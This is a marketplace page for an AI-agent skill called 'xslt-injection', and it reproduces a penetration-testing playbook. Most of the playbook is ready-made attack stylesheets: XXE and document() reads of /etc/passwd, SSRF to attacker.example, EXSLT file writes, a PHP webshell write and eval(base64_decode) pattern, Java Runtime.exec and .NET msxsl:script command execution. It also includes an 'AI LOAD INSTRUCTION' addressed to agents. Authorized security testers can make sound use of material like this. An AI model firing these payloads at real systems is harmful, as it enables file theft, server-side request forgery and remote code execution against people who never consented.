MCPInstall

xslt-injection

XSLT injection testing: processor fingerprinting, XXE and document() SSRF, EXSLT write primitives, PHP/Java/.NET extension RCE surfaces. Use when user-controlled XSLT/stylesheet input or transform endpoints are in scope.

Installs
3.6K
Last 24h
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Security
Not audited

Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/yaklang/hack-skills --skill xslt-injection
  1. 01

    Install

    Run the command in your project. The CLI asks which agents to install for.

  2. 02

    Describe the task

    Ask your agent for something this skill covers. It loads xslt-injection automatically when relevant.

  3. 03

    Review the result

    The agent follows the SKILL.md steps, scripts and references bundled with the skill.

SKILL.md

The instructions your agent reads when the skill is triggered.

SKILL: XSLT Injection — Testing Playbook

AI LOAD INSTRUCTION: XSLT injection occurs when attacker-influenced XSLT is compiled/executed server-side. Map the processor family first (Java/.NET/PHP/libxslt). Then chain document(), external entities, EXSLT, or embedded script/extension functions per platform. Authorized testing only; many payloads are destructive. Routing note: if input is generic XML parsing and may not flow through XSLT, cross-load xxe-xml-external-entity; if you care about outbound document(http:...) requests, cross-load ssrf-server-side-request-forgery.


0. QUICK START

  1. Find sinks: parameters named xslt, stylesheet, transform, template, SOAP stylesheets, report generators, XML→HTML converters.
  2. Probe reflection: inject unique namespace or xsl:value-of select="'marker'" — if output changes, execution likely.
  3. Fingerprint processor (§1).
  4. Escalate by family: document() / XXE (§2–3), EXSLT write (§4), PHP (§5), Java (§6), .NET (§7).

Quick probe (harmless marker):

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="'XSLT_PROBE_OK'"/>
  </xsl:template>
</xsl:stylesheet>

1. VENDOR DETECTION

Use standard system-property reads inside expressions:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
    <xsl:text>&#10;version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
    <xsl:text>&#10;vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
  </xsl:template>
</xsl:stylesheet>

Typical fingerprints (examples, not exhaustive):

SignalPossible engine
Apache Software Foundation / Xalan markersXalan (Java)
Saxonica / Saxon URI hintsSaxon
libxslt / GNOME stacklibxslt (C, often via PHP, nginx modules, etc.)
Microsoft URLs / MSXML stringsMSXML / .NET XSLT stack

Use results to select §5–§7 paths.


2. EXTERNAL ENTITY (XXE VIA XSLT)

XSLT 1.0 allows DTD-based entities in the stylesheet or source when the parser permits DTDs:

<!DOCTYPE xsl:stylesheet [
  <!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="'ENTITY_START'"/>
    <xsl:value-of select="&ext_file;"/>
    <xsl:value-of select="'ENTITY_END'"/>
  </xsl:template>
</xsl:stylesheet>

Note: Hardened parsers disable external DTDs — failure here does not disprove other XSLT vectors (see §3).


3. FILE READ VIA document()

document() loads another XML document into a node-set; local files often parse as XML (noisy) but errors and partial reads may still leak.

Unix example:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

Windows example:

<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>

SSRF / out-of-band:

<xsl:copy-of select="document('http://attacker.example/ssrf')"/>

Chain with error-based or timing observations if inline data does not return to the client.


4. FILE WRITE VIA EXSLT (exslt:document)

When EXSLT common extension is enabled:

<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit">
  <xsl:template match="/">
    <exploit:document href="/tmp/evil.txt" method="text">
      <xsl:text>PROOF_CONTENT</xsl:text>
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

Impact: arbitrary file write where path permissions allow — often RCE via webroot, cron paths, or inclusion points.


5. RCE VIA PHP (php:function)

Requires PHP XSLT with registerPHPFunctions()-style exposure (application misconfiguration). Namespace:

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="php:function('readfile','index.php')"/>
  </xsl:template>
</xsl:stylesheet>

Directory listing:

<xsl:value-of select="php:function('scandir','.')"/>

Dangerous patterns (historical abuses — verify only in lab):

  • php:function('assert', string($payload)) — environment-dependent, often deprecated/removed; chained with include/require in old apps.
  • php:function('file_put_contents','/var/www/shell.php','<?php ...') — webshell write when callable is whitelisted recklessly.
  • preg_replace with /e modifier (legacy PHP) — the replacement string is evaluated as PHP; metasploit-style chains often wrapped base64_decode of a blob to smuggle a meterpreter (or other) staged payload. Removed in PHP 7+; only relevant for ancient runtimes.

Legacy PHP equivalent (illustrates the /e + base64 pattern — lab only):

preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);

Surface from XSLT only if php:function exposes preg_replace to user stylesheets (rare + critical misconfiguration).

Tester note: modern PHP hardening often blocks these; absence of RCE does not remove document() / XXE.


6. RCE VIA JAVA (SAXON / XALAN EXTENSIONS)

Java engines may expose extension functions mapping to static methods. Examples appear in historical advisories; exact syntax depends on version and extension binding.

Illustrative pattern (conceptual — adjust to permitted extension namespace and API):

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
    <xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
  </xsl:template>
</xsl:stylesheet>

Saxon-style static Java integration (highly configuration-dependent):

Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')

Replace 192.0.2.1 with your lab listener / documentation IP (RFC 5737 TEST-NET).

Operational guidance: if extensions are disabled (common secure default), pivot to document(), SSRF, or deserialization elsewhere — not every XSLT endpoint runs with extensions on.


7. RCE VIA .NET (msxsl:script)

When Microsoft XSLT script blocks are allowed:

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:msxsl="urn:schemas-microsoft-com:xslt"
    extension-element-prefixes="msxsl">
  <msxsl:script language="C#" implements-prefix="user">
    <![CDATA[
    public string xexec() {
      System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
      return "ok";
    }
    ]]>
  </msxsl:script>
  <xsl:template match="/">
    <xsl:value-of select="user:xexec()"/>
  </xsl:template>
</xsl:stylesheet>

Default secure configs often disable scripts — treat this as when enabled behavior.


8. DECISION TREE

                    User influences XSLT or XML transform?
                                    |
                                   NO --> stop (out of scope)
                                    |
                                   YES
                                    |
                    +---------------+---------------+
                    |                               |
             output reflects                       no reflection
             injected logic?                    try blind channels
                    |                               |
                    v                               v
            system-property()                 errors, OOB, timing
            fingerprint vendor                      |
                    |                               |
        +-----------+-----------+                   |
        |           |           |                   |
      libxslt     Java        .NET              document()
        |           |           |                   |
    document()   Saxon/Xalan  msxsl:script?      SSRF/file
    EXSLT write  extensions?      |                   |
        |           |           C# Process         EXSLT?
        v           v           v                   v
    file R/W     rt/exec      cmd.exe /c         map evidence

Payloads All The Things (PAT) Note

The PayloadsAllTheThings project documents many injection classes; for XSLT, maintainer notes indicate no dedicated maintained tool section comparable to SQLi/XSS toolchains — exploitation is processor- and configuration-specific, driven by proxy/manual payloads and custom scripts. Plan time for local lab reproduction with the same engine/version as the target when possible.


Tooling (practical)

CategoryExamples
Proxy / manualBurp Suite, OWASP ZAP — replay stylesheet payloads, observe responses and errors
XML/XSLT labMatch exact processor (PHP libxslt, Java Saxon version, .NET framework) in a VM
Out-of-bandCollaborator / private callback server for document('http://…')

No single universal scanner replaces version-specific behavior validation.


Related

  • xxe-xml-external-entity — DTD/entity hardening, generic XML parsers (../xxe-xml-external-entity/SKILL.md).
  • ssrf-server-side-request-forgery — when document(http:…) or entity URLs cause server fetches (../ssrf-server-side-request-forgery/SKILL.md).

FAQ

What does the xslt-injection skill do?

XSLT injection testing: processor fingerprinting, XXE and document() SSRF, EXSLT write primitives, PHP/Java/.NET extension RCE surfaces. Use when user-controlled XSLT/stylesheet input or transform endpoints are in scope.

How do I install xslt-injection?

Run npx skills add https://github.com/yaklang/hack-skills --skill xslt-injection in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/xslt-injection/ (personal) or .claude/skills/xslt-injection/ (project).

Which AI agents can use xslt-injection?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is xslt-injection safe to install?

No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.

Who maintains xslt-injection?

It is published by yaklang in yaklang/hack-skills. It has 3,575 recorded installs.

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